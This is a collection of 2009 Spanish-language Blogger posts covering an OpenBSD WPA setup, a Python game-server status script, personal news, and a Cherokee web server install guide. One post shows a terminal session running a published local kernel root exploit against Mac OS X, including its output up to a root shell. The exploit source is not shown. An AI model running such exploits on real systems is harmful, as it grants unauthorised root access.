/><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><div style="text-align: left; color: rgb(0, 0, 153);"><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast></div><blockquote><div style="text-align: left; color: rgb(0, 0, 153);"><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast># wpa-psk hack hacking123</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>0x3cb27ebe4a27cf8e81bb4f81c8a72828bde42d7ba1738227494d67f3fad17b00</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>#</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /></div></blockquote><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><blockquote><br /><div style="text-align: left;"><up,loopback,running,multicast style="color: rgb(0, 0, 153);"><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast># ifconfig ral0 nwid hack wpa wpapsk \ 0x3cb27ebe4a27cf8e81bb4f81c8a72828bde42d7ba1738227494d67f3fad17b00</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast style="color: rgb(0, 0, 153);"><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast></div></blockquote><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Funciona exactamente igual, para mas información leer el manual de <span style="font-style: italic;">wpa-psk</span>.</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Verifique que usa TKIP, si usa AES no funcionará., las pruebas las hice con PERSONAL y ENTERPRISE configurando un servidor radius aparte.</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>Si quieren dejar la configuración de forma permanente en el sistema, deben editar el archivo <span style="font-style: italic;">/etc/hostname.ral0</span></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><blockquote><div style="text-align: left; color: rgb(0, 0, 153);"><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast># cat /etc/hostname.ral0 </up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>dhcp NONE NONE NONE nwid hack wpa wpapsk `wpa-psk hack hacking123`</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>#</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /></div></blockquote><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast>De esta forma cada vez que arranque el sistema pedirá una IP por dhcp.</up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><br /><span style="font-style: italic;">Nota: Cada vez que quieras arrancar el asus por el SD, debes decirle en la BIOS que haga boot por el dispositivo USB, de lo contrario te dará problemas para arracar OpenBSD.</span><br /><br />Esto es todo amigos, recuerden asistir a las charlas programadas sobre OpenBSD en la Campus ;)<br /><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast></div><up,loopback,running,multicast><up,broadcast,running,simplex,multicast><up,broadcast,running,simplex,multicast><br /></up,broadcast,running,simplex,multicast></up,broadcast,running,simplex,multicast></up,loopback,running,multicast><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-8712778367523855001?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com2tag:blogger.com,1999:blog-6456964801927997186.post-11779751430114349882009-05-18T20:31:00.002-05:002009-05-18T20:40:22.281-05:00<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.urbanterrorcolombia.com/templates/siteground-j15-48/images/header_img.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 510px; height: 132px;" src="http://www.urbanterrorcolombia.com/templates/siteground-j15-48/images/header_img.jpg" alt="" border="0" /></a>Aveces quiero entrar a jugar a UT Colombia, pero no se si estará lleno el servidor o si estarán conectados ciertos jugadores y bueno, conectarse y desconectarse toma un tiempo. Entonces empece a leer sobre el protocolo que usa el servidor de juegos y como resultdo saque este mini script para saber si hay cupo o nó?, te animas a hacerlo mas completo?<br /><blockquote style="color: rgb(255, 0, 0);"><br />bash-3.2# cat ut2.py<br />#!/usr/bin/python<br />#<br />#codeb by nonroot -- domain public license ---<br />#May 2009<br />"""<br />La consulta al servidor devuelve algo asi:<br />La respuesta es '['\xff\xff\xff\xffinfoResponse\n', 'game', 'q3ut4', 'maxPing', '180', 'pure', '1', 'gametype', '7', 'sv_maxclients', '16', 'clients', '16', 'mapname',<br />'ut4_harbortown', 'hostname', 'Ubuntu-Colombia CTF Server', 'protocol', '68']'<br />Para estudiar mas acerca del protocolo de red quake 3 68, puedes leer:<br />http://www.tilion.org.uk/Games/Quake_3/Network_Protocol<br />y puedes hacer lo que se te ocurra con el server :p<br />"""<br />from sys import argv, exit<br />from socket import *<br />import re, string<br /><br />#servidor de UT<br />servidor="200.85.231.152"<br /><br />#puerto del servidor<br />puerto=27960<br /><br />#creo el socket UDP<br />sock = socket(AF_INET, SOCK_DGRAM)<br /><br />#envio la peticion<br />sock.sendto('\xFF\xFF\xFF\xFFgetinfo',(servidor,puerto))<br /><br />#recibo la respuesta<br />resp, server = sock.recvfrom(1024)<br /><br />#separo los campos segun el formato que devuelve el servidor<br />datos=re.split(r"[\\]+",resp)<br /><br />texto=">>>\n"<br />texto+="El servidor Ubuntu Colombia soporta: "+datos[10]+ " usuarios.\n"<br />texto+="Hay "+ str(int(datos[10])-int(datos[12]))+ " cupos disponibles para jugar.\n"<br />texto+="El mapa actual es: "+datos[14]+".\n"<br />texto+=">>>\n"<br /><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_0">print</span> texto<br /><br />#cierro el <span class="blsp-spelling-error" id="SPELLING_ERROR_1">socket</span> de <span class="blsp-spelling-error" id="SPELLING_ERROR_2">conexion</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_3">UDP</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_4">sock</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_5">close</span>()<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_6">bash</span>-3.2#<br /></blockquote>¿Como se usa?<br /><blockquote style="color: rgb(255, 0, 0);"><br />bash-3.2# python ut2.py<br />>>><br />El servidor Ubuntu Colombia soporta: 16 usuarios.<br />Hay 1 cupos disponibles para jugar.<br />El mapa actual es: ut4_mandolin.<br />>>><br /><br />bash-3.2#<br /></blockquote>Espero que les sirva para algo ;)<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-1177975143011434988?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com5tag:blogger.com,1999:blog-6456964801927997186.post-90704703838445451502009-05-17T23:42:00.001-05:002009-05-17T23:47:12.017-05:00MacOSX too!<blockquote style="color: rgb(0, 0, 153);"><span style="font-size:85%;"><span class="blsp-spelling-error" id="SPELLING_ERROR_0">imac</span>-de-<span class="blsp-spelling-error" id="SPELLING_ERROR_1">fernando</span>-quintero:~ <span class="blsp-spelling-error" id="SPELLING_ERROR_2">fernandoquintero</span>$ <span class="blsp-spelling-error" id="SPELLING_ERROR_3">nano</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_4">exp</span>.c<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_5">imac</span>-de-<span class="blsp-spelling-error" id="SPELLING_ERROR_6">fernando</span>-quintero:~ <span class="blsp-spelling-error" id="SPELLING_ERROR_7">fernandoquintero</span>$ <span class="blsp-spelling-error" id="SPELLING_ERROR_8">gcc</span> -o <span class="blsp-spelling-error" id="SPELLING_ERROR_9">exp</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_10">exp</span>.c<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_11">imac</span>-de-<span class="blsp-spelling-error" id="SPELLING_ERROR_12">fernando</span>-quintero:~ <span class="blsp-spelling-error" id="SPELLING_ERROR_13">fernandoquintero</span>$ <span class="blsp-spelling-error" id="SPELLING_ERROR_14">mv</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_15">exp</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_16">xnu</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_17">hfs</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_18">fcntl</span>-v2<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_19">imac</span>-de-<span class="blsp-spelling-error" id="SPELLING_ERROR_20">fernando</span>-quintero:~ <span class="blsp-spelling-error" id="SPELLING_ERROR_21">fernandoquintero</span>$ <span class="blsp-spelling-error" id="SPELLING_ERROR_22">nano</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_23">exp</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_24">sh</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_25">imac</span>-de-<span class="blsp-spelling-error" id="SPELLING_ERROR_26">fernando</span>-quintero:~ <span class="blsp-spelling-error" id="SPELLING_ERROR_27">fernandoquintero</span>$ <span class="blsp-spelling-error" id="SPELLING_ERROR_28">sh</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_29">exp</span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_30">sh</span><br />-en <span class="blsp-spelling-error" id="SPELLING_ERROR_31">Apple</span> MACOS X <span class="blsp-spelling-error" id="SPELLING_ERROR_32">xnu</span> <= 1228.x local kernel <span class="blsp-spelling-error" id="SPELLING_ERROR_33">root</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_34">exploit</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_35">by</span>: <mu-b@digit-labs.org><br />http://www.digit-labs.org/ -- <span class="blsp-spelling-error" id="SPELLING_ERROR_36">Digit</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_37">Labs</span> 2008!@<br /><br /><br />-n * <span class="blsp-spelling-error" id="SPELLING_ERROR_38">creating</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_39">diskimage</span>...<br />done<br />-n * <span class="blsp-spelling-error" id="SPELLING_ERROR_40">attaching</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_41">mounting</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_42">diskimage</span>...<br />done<br />-e * <span class="blsp-spelling-error" id="SPELLING_ERROR_43">executing</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_44">exploit</span>...<br /><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_45">Apple</span> MACOS X <span class="blsp-spelling-error" id="SPELLING_ERROR_46">xnu</span> <= 1228.x local kernel <span class="blsp-spelling-error" id="SPELLING_ERROR_47">root</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_48">exploit</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_49">by</span>: <mu-b@digit-labs.org><br />http://www.digit-labs.org/ -- <span class="blsp-spelling-error" id="SPELLING_ERROR_50">Digit</span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_51">Labs</span> 2008!@$!<br /><br />* <span class="blsp-spelling-error" id="SPELLING_ERROR_52">getattrlist</span>...done<br />** <span class="blsp-spelling-error" id="SPELLING_ERROR_53">attrlist</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_54">length</span>: 36<br />** <span class="blsp-spelling-error" id="SPELLING_ERROR_55">fndrinfo</span>:<br />* done<br /><br />* <span class="blsp-spelling-error" id="SPELLING_ERROR_56">setattrlist</span>...done<br />* <span class="blsp-spelling-error" id="SPELLING_ERROR_57">overwriting</span> @0x0050770C<br />* done<br /><br />* <span class="blsp-spelling-error" id="SPELLING_ERROR_58">setattrlist</span>...done<br />* <span class="blsp-spelling-error" id="SPELLING_ERROR_59">overwriting</span> @0x00507998<br />** <span class="blsp-spelling-error" id="SPELLING_ERROR_60">sysent</span>[21].<span class="blsp-spelling-error" id="SPELLING_ERROR_61">sy</span>_<span class="blsp-spelling-error" id="SPELLING_ERROR_62">call</span>: 0x0050770C<br />* done<br /><br />* <span class="blsp-spelling-error" id="SPELLING_ERROR_63">jumping</span>...done<br /><br />* <span class="blsp-spelling-error" id="SPELLING_ERROR_64">getuid</span>(): 0<br />+<span class="blsp-spelling-error" id="SPELLING_ERROR_65">Wh</span>00t<br /><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_66">bash</span>-3.2# id<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_67">uid</span>=0(<span class="blsp-spelling-error" id="SPELLING_ERROR_68">root</span>) <span class="blsp-spelling-error" id="SPELLING_ERROR_69">gid</span>=0(<span class="blsp-spelling-error" id="SPELLING_ERROR_70">wheel</span>) <span class="blsp-spelling-error" id="SPELLING_ERROR_71">egid</span>=20(<span class="blsp-spelling-error" id="SPELLING_ERROR_72">staff</span>) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),102(com.apple.sharepoint.group.2),101(com.apple.sharepoint.group.1),4(tty),103(com.apple.sharepoint.group.3),5(operator),80(admin),20(staff)<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_73">bash</span>-3.2#<br /><br /><span style="font-size:130%;">Y para salir?, un <span class="blsp-spelling-error" id="SPELLING_ERROR_74">exploit</span> decente:</span><br /><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_75">bash</span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_76">touch</span> file<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_77">bash</span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_78">ls</span> -la file<br />-<span class="blsp-spelling-error" id="SPELLING_ERROR_79">rw</span>-r--r-- 1 <span class="blsp-spelling-error" id="SPELLING_ERROR_80">root</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_81">staff</span> 0 <span class="blsp-spelling-error" id="SPELLING_ERROR_82">May</span> 17 23:43 file<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_83">bash</span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_84">exit</span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_85">exit</span><br />-n * <span class="blsp-spelling-error" id="SPELLING_ERROR_86">detaching</span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_87">unmounting</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_88">diskimage</span>...<br /> done<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_89">imac</span>-de-<span class="blsp-spelling-error" id="SPELLING_ERROR_90">fernando</span>-quintero:~ <span class="blsp-spelling-error" id="SPELLING_ERROR_91">fernandoquintero</span>$<br /><br /><br /></mu-b@digit-labs.org></mu-b@digit-labs.org></span><div style="text-align: center;"><span style="font-size:85%;"><span class="blsp-spelling-error" id="SPELLING_ERROR_92">LOL</span><mu-b@digit-labs.org><mu-b@digit-labs.org></mu-b@digit-labs.org></mu-b@digit-labs.org></span><br /><span style="font-size:85%;"><mu-b@digit-labs.org><mu-b@digit-labs.org></mu-b@digit-labs.org></mu-b@digit-labs.org></span></div></blockquote><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-9070470383844545150?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-34037175291039147352009-05-17T15:58:00.008-05:002009-05-17T20:56:16.633-05:00Moving a library at home<div style="text-align: justify;"><div style="text-align: justify;">Todos sabemos lo difícil que es realizar <a href="http://en.wikipedia.org/wiki/Data_migration">una migración</a>, siempre nos vamos a encontrar con problemas de compatibilidad de versiones, de sistemas operativos, de usuarios, de tiempo, dinero, etc, etc, etc. Pero una vez realizada la migración podemos sentirnos bien, pues las cosas deberían funcionar mejor de ahí en adelante (todo con un adecuado soporte).<br /><br />Esta entrada en el blog la hago para felicitar a mi familia por la migración que hemos realizado durante los últimos <a href="http://es.wikipedia.org/wiki/Sistema_binario">(010)</a> días, hemos peleado con <a href="http://es.wikipedia.org/wiki/Polvo">el polvo</a>, la suciedad, los libros, la madera, el cableado y etc. Con paciencia todo se logra ;)<br /></div><br /><span style="font-size:180%;">¿Que pensaron?</span>, ¿que sería un <span style="font-size:130%;">post técnico?</span><br /><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/ShCANuyF-WI/AAAAAAAABCY/EihjeuEALbs/s1600-h/version1.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/ShCANuyF-WI/AAAAAAAABCY/EihjeuEALbs/s400/version1.JPG" alt="" id="BLOGGER_PHOTO_ID_5336906531818830178" border="0" /></a><div style="text-align: center;"><span style="font-size:85%;"><span style="font-weight: bold;">Fig 1. Versión 1.0 de la biblioteca (Beta)</span></span><br /><br /><br /></div><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/ShB8g5yo_JI/AAAAAAAABCQ/bUTRJSWmXvM/s1600-h/version2.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/ShB8g5yo_JI/AAAAAAAABCQ/bUTRJSWmXvM/s400/version2.JPG" alt="" id="BLOGGER_PHOTO_ID_5336902463144918162" border="0" /></a><span style="font-size:85%;"><span style="font-weight: bold;">Fig 2. Versión 2.0 de la biblioteca (Stable) - está en el SVN</span></span><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3403717529103914735?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com1tag:blogger.com,1999:blog-6456964801927997186.post-28193137251088590452009-05-16T16:52:00.000-05:002009-05-16T16:59:59.160-05:00National Survey of Digital LiteracyHace unos días se viene solicitando por diferentes medios que contribuyamos respondiendo a una encuesta de carácter nacional relacionada con el tema de alfabetización tecnológica. Pues bueno, por fin saqué los<span style="font-size:180%;"> 5</span> minutos y la llené, me <span class="blsp-spelling-corrected" id="SPELLING_ERROR_0">pareció</span> interesante el formato de la encuesta y la <span class="blsp-spelling-corrected" id="SPELLING_ERROR_1">rapidez</span> en su desarrollo. Los invito a que entren a este sitio: <a href="http://encuesta.e-ciudadano.org/" target="_blank">http://encuesta.e-ciudadano.<wbr><span class="blsp-spelling-error" id="SPELLING_ERROR_2">org</span></a> y participen.<br /><br />Aquí <span class="blsp-spelling-corrected" id="SPELLING_ERROR_3">están</span> mis resultados, los que me tranquilizan porque <span class="blsp-spelling-corrected" id="SPELLING_ERROR_4">al menos</span> en <span class="blsp-spelling-error" id="SPELLING_ERROR_5">Colombia</span> parezco no ser un analfabeta <span class="blsp-spelling-corrected" id="SPELLING_ERROR_6">tecnológico</span> ;).<br /><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sg82yvUdzMI/AAAAAAAABCA/j8zkGFZMzpQ/s1600-h/Imagen+12.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 302px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/Sg82yvUdzMI/AAAAAAAABCA/j8zkGFZMzpQ/s400/Imagen+12.png" alt="" id="BLOGGER_PHOTO_ID_5336544328780991682" border="0" /></a>Fig 1. Resultados de la encuesta<br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-2819313725108859045?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com1tag:blogger.com,1999:blog-6456964801927997186.post-19491357500748402452009-05-15T22:53:00.001-05:002009-05-16T00:10:50.771-05:00Cherokee 0.99.15 on OpenBSD 4.5<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/Sg46oweKllI/AAAAAAAABBY/e9ac9pOa3Gs/s1600-h/che.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 203px; height: 162px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/Sg46oweKllI/AAAAAAAABBY/e9ac9pOa3Gs/s400/che.png" alt="" id="BLOGGER_PHOTO_ID_5336267080361219666" border="0" /></a><a href="http://www.cherokee-project.com/">Cherokee</a> es considerado por muchos el servidor web mas rápido que existe, aún no esta en su versión estable, pero ya se comporta como si lo estuviera. Hace un tiempo <a href="http://www.openbsdcolombia.org/?q=node/69">trabajé en el port </a>para tener cherokee en OpenBSD, el día de hoy he estado compilando y aplicando unos parches para que la última release, <a href="http://www.cherokee-project.com/download/0.99/0.99.15/">la versión 0.99.15</a> pueda correr sin problemas en <a href="http://www.openbsdcolombia.org/?q=node/82">OpenBSD</a>.<br /><br />A continuación describo el procedimiento para todos aquellos que quieran experimentar esta excelente aplicación en este excelente sistema operativo :)<br /><br /><span style="font-size:180%;">1.</span> Instale cherokee en su OpenBSD sin necesidad de compilar los ports de la versión "current", para esto use el siguiente paquete binario:<br /><br /><a href="http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz">http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz</a><br /><br />de la siguiente forma:<br /><blockquote><span style="font-size:85%;"><br /></span><div style="text-align: left;"><span style="font-size:85%;"><span style="font-weight: bold;"># uname -a</span></span><br /><span style="font-size:85%;">OpenBSD astrid.nonroot.org 4.5 GENERIC#1749 i386</span><br /><span style="font-size:85%;"><span style="font-weight: bold;font-size:85%;" ># pkg_add -v http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz</span></span><br /><span style="font-size:85%;">parsing http://www.openbsdcolombia.org/pyp/paquetes/4.5/www/cherokee-0.99.15.tgz</span><br /><span style="font-size:85%;">Dependencies for cherokee-0.99.15 resolve to: pcre-7.8, spawn-fcgi-1.6.2 (todo: pcre-7.8,spawn-fcgi-1.6.2)</span><br /><span style="font-size:85%;">cherokee-0.99.15:parsing pcre-7.8</span><br /><span style="font-size:85%;">found libspec c.50.1 in /usr/lib</span><br /><span style="font-size:85%;">cherokee-0.99.15:pcre-7.8: complete</span><br /><span style="font-size:85%;">cherokee-0.99.15:parsing spawn-fcgi-1.6.2</span><br /><span style="font-size:85%;">found libspec c.50.1 in /usr/lib</span><br /><span style="font-size:85%;">cherokee-0.99.15:spawn-fcgi-1.6.2: complete</span><br /><span style="font-size:85%;">found libspec c.50.1 in /usr/lib</span><br /><span style="font-size:85%;">found libspec crypto.17.0 in /usr/lib</span><br /><span style="font-size:85%;">found libspec pcre.2.2 in package pcre-7.8</span><br /><span style="font-size:85%;">found libspec pthread.11.1 in /usr/lib</span><br /><span style="font-size:85%;">found libspec ssl.14.0 in /usr/lib</span><br /><span style="font-size:85%;">adding group _cherokee</span><br /><span style="font-size:85%;">adding user _cherokee</span><br /><span style="font-size:85%;">installed /etc/cherokee/cherokee.conf from /usr/local/share/examples/cherokee/etc/cherokee.conf****************************************************************************** | 99%</span><br /><span style="font-size:85%;">installed /var/cherokee/images/cherokee-logo.png from /usr/local/share/examples/cherokee/www/images/cherokee-logo.png*********************************************************| 100%</span><br /><span style="font-size:85%;">installed /var/cherokee/images/default-bg.png from /usr/local/share/examples/cherokee/www/images/default-bg.png</span><br /><span style="font-size:85%;">installed /var/cherokee/images/powered_by_cherokee.png from /usr/local/share/examples/cherokee/www/images/powered_by_cherokee.png</span><br /><span style="font-size:85%;">installed /var/cherokee/index.html from /usr/local/share/examples/cherokee/www/index.html</span><br /><span style="font-size:85%;">installed /var/log/cherokee/cherokee.access from /usr/local/share/examples/cherokee/www/index.html</span><br /><span style="font-size:85%;">installed /var/log/cherokee/cherokee.error from /usr/local/share/examples/cherokee/www/index.html</span><br /><span style="color: rgb(255, 0, 0);font-size:85%;" >cherokee-0.99.15: complete</span><br /><span style="font-size:85%;">--- cherokee-0.99.15 -------------------</span><br /><span style="font-size:85%;">To complete the installation, you need to configure cherokee. As root:</span><br /><span style="font-size:85%;"># cherokee-admin -b [IP]</span><br /><span style="font-size:85%;">(where IP is a trusted IP used to configure your web server)</span><br /><br /><span style="font-size:85%;">If you want to run cherokee on boot, add these lines to /etc/rc.local:</span><br /><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >if [ X"${cherokee_flags}" != X"NO" ]; then</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > echo -n ' cherokee'</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > /usr/local/sbin/cherokee-guardian ${cherokee_flags} 1> /dev/null</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >fi</span><br /><br /><span style="font-size:85%;">for admin management:</span><br /><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >if [ X"${cherokee-admin_flags}" != X"NO" ]; then</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > echo -n ' cherokee-admin'</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > /usr/local/sbin/cherokee-admin ${cherokee-admin_flags} 1> /dev/null &amp;</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >fi</span><br /><br /><span style="font-size:85%;">and in /etc/rc.conf.local :</span><br /><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >cherokee_flags="-d" # use -d to run in daemon mode</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >cherokee-admin_flags=NO # use -b if you want listen on ALL interfaces</span><br /><span style="font-size:85%;">#</span><span style="font-size:85%;"><br /></span></div></blockquote>Como puede ver solo ejecutamos un comando y ya tenemos instalado cherokee en nuestra maquina (todas las dependencias son descargadas desde el mismo sitio, asi que no hay problema).<br /><br /><span style="font-size:180%;">2.</span> Al finalizar la instalación sale un mensaje informativo, donde nos explican que si queremos hacer que cherokee se inicie en cada arranque de sistema debemos agregar unas líneas a los archivos de arranque, si no lo queremos hacer, podemos obviar este paso.<br /><br />Al final del archivo <span style="font-weight: bold; font-style: italic;">/etc/rc.local</span> agregamos las siguientes líneas:<br /><br /><span style="font-size:85%;"><blockquote><span style="color: rgb(51, 51, 255);font-size:85%;" >if [ X"${cherokee_flags}" != X"NO" ]; then</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > echo -n ' cherokee'</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > /usr/local/sbin/cherokee-worker ${cherokee_flags} 1> /dev/null</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >fi</span><br /><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >if [ X"${cherokee-admin_flags}" != X"NO" ]; then</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > echo -n ' cherokee-admin'</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" > /usr/local/sbin/cherokee-admin ${cherokee-admin_flags} 1> /dev/null &amp;</span><br /><span style="color: rgb(51, 51, 255);font-size:85%;" >fi</span><br /></blockquote></span><span style="font-size:100%;">Esto logra que el sistema de arranque evalue la posibilidad de arrancar el servidor web cherokee o su interfaz de configuración, validando las variables </span><span style="font-size:100%;"><span style="color: rgb(255, 102, 0); font-style: 